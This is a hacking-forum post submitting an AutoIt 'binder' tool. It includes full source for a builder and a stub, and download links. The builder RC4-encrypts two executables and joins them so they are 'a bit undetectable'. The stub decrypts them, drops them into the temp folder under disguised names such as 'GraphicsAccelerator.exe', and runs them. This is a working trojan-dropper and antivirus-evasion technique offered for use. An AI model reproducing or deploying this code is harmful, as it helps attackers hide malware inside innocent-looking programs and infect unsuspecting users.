[bluedog.tar.gz]

I'd wish to apply for one tool i made.
Name : Hack Community Binder
Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot :
Source [binder] :

Code:

#include<GUIConstants.au3> #include<EditConstants.au3> #include<Crypt.au3> #include<WindowsConstants.au3> Opt("GUIOnEventMode",1) $color1=0x090909 $color2=0xa9595a $color3=0x777777 $frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW) $header1=GUICtrlCreateLabel("Hack Community",20,20,360,50) $header2=GUICtrlCreateLabel("Binder",220,60,100,50) $label1=GUICtrlCreateLabel("File 1",20,130,60,20) $label2=GUICtrlCreateLabel("File 2",20,170,60,20) $label3=GUICtrlCreateLabel("Output Path",20,210,60,20) $input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT) $button1=GUICtrlCreateButton("...",350,130,30,20) $button2=GUICtrlCreateButton("...",350,170,30,20) $button3=GUICtrlCreateButton("...",350,210,30,20) $bind=GUICtrlCreateButton("Bind",190,250,70,25) $close=GUICtrlCreateButton("Close",270,250,70,25) $about=GUICtrlCreateButton(">>",370,270,20,20) $frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW) $label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100) $view=0 init() GUICtrlSetOnEvent($close,"quit") GUICtrlSetOnEvent($button1,"getpath1") GUICtrlSetOnEvent($button2,"getpath2") GUICtrlSetOnEvent($button3,"getpath3") GUICtrlSetOnEvent($bind,"bind") GUICtrlSetOnEvent($about,"about") GUISetState(@SW_SHOW,$frame) GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame) While 1 ; WEnd Func init() GUICtrlSetFont($header1,27) GUICtrlSetFont($header2,25) GUICtrlSetFont($label1,14) GUICtrlSetFont($label2,14) GUICtrlSetFont($label3,14) GUICtrlSetFont($label,11) GUICtrlSetFont($bind,12) GUICtrlSetFont($close,12) GUICtrlSetFont($input1,12) GUICtrlSetFont($input2,12) GUICtrlSetFont($input3,12) GUISetBkColor($color1,$frame) GUISetBkColor($color1,$frame2) GUICtrlSetBkColor($input1,$color3) GUICtrlSetBkColor($input2,$color3) GUICtrlSetBkColor($input3,$color3) GUICtrlSetBkColor($button1,$color2) GUICtrlSetBkColor($button2,$color2) GUICtrlSetBkColor($button3,$color2) GUICtrlSetColor($label1,$color2) GUICtrlSetColor($label2,$color2) GUICtrlSetColor($label,$color2) GUICtrlSetColor($label3,$color2) GUICtrlSetBkColor($bind,$color2) GUICtrlSetBkColor($close,$color2) GUICtrlSetBkColor($about,$color2) GUICtrlSetColor($header1,$color2) GUICtrlSetColor($header2,$color3) EndFunc Func quit() Exit EndFunc Func getpath1() $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame) If @error Then ; Else GUICtrlSetData($input1,$filepath) EndIf EndFunc Func getpath2() $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame) If @error Then ; Else GUICtrlSetData($input2,$filepath) EndIf EndFunc Func getpath3() $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe" If @error Then ; Else GUICtrlSetData($input3,$filepath) EndIf EndFunc Func bind() $path1=GUICtrlRead($input1) $path2=GUICtrlRead($input2) $path3=GUICtrlRead($input3) If FileExists($path1) And FileExists($path2) Then $marker=StringToBinary("SOLIXIOUS") $output=FileOpen($path3,1+2+8+16) $inputx1=FileOpen($path1,0+16) $inputx2=FileOpen($path2,0+16) $data1=FileRead($inputx1) $data2=FileRead($inputx2) $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16) $stubdata=FileRead($stub) FileWrite($output,$stubdata) FileWrite($output,$marker) $data1=encrypt(BinaryToString($data1)) $data2=encrypt(BinaryToString($data2)) FileWrite($output,StringToBinary($data1)) FileWrite($output,$marker) FileWrite($output,StringToBinary($data2)) FileClose($output) FileClose($inputx1) FileClose($inputx2) MsgBox(64,"Successful","Files Binded Successfully!") GUICtrlSetData($input1,"") GUICtrlSetData($input2,"") GUICtrlSetData($input3,"") EndIf EndFunc Func encrypt($data) $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4) Return $data EndFunc Func about() If $view=0 Then GUISetState(@SW_SHOW,$frame2) GUICtrlSetData($about,"<<") $view=1 Else GUISetState(@SW_HIDE,$frame2) GUICtrlSetData($about,">>") $view=0 EndIf EndFunc

Source [stub]

Code:

#include<Crypt.au3> $path=@ScriptFullPath $file=FileOpen($path,0+16) $data=FileRead($file) $marker="SOLIXIOUS" $strdata=BinaryToString($data) $ardata=StringSplit($strdata,$marker,1) HotKeySet("+!c","quit") If @error Then MsgBox(0,"No Delimiters","No delimiters Found!") Else If $ardata[0]=3 Then $ardata[2]=decrypt(BinaryToString($ardata[2])) $ardata[3]=decrypt(BinaryToString($ardata[3])) $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16) FileWrite($file1,$ardata[2]) FileClose($file1) $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16) FileWrite($file1,$ardata[3]) FileClose($file2) ShellExecute(@TempDir & "\GraphicsAccelerator.exe") ShellExecute(@TempDir & "\GraphicsService.exe") While 1 ; WEnd EndIf EndIf Func decrypt($data) $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4) return $data EndFunc Func quit() Exit EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64

Please put the logo in the program along with the correct colors.
Use #FF0000 : )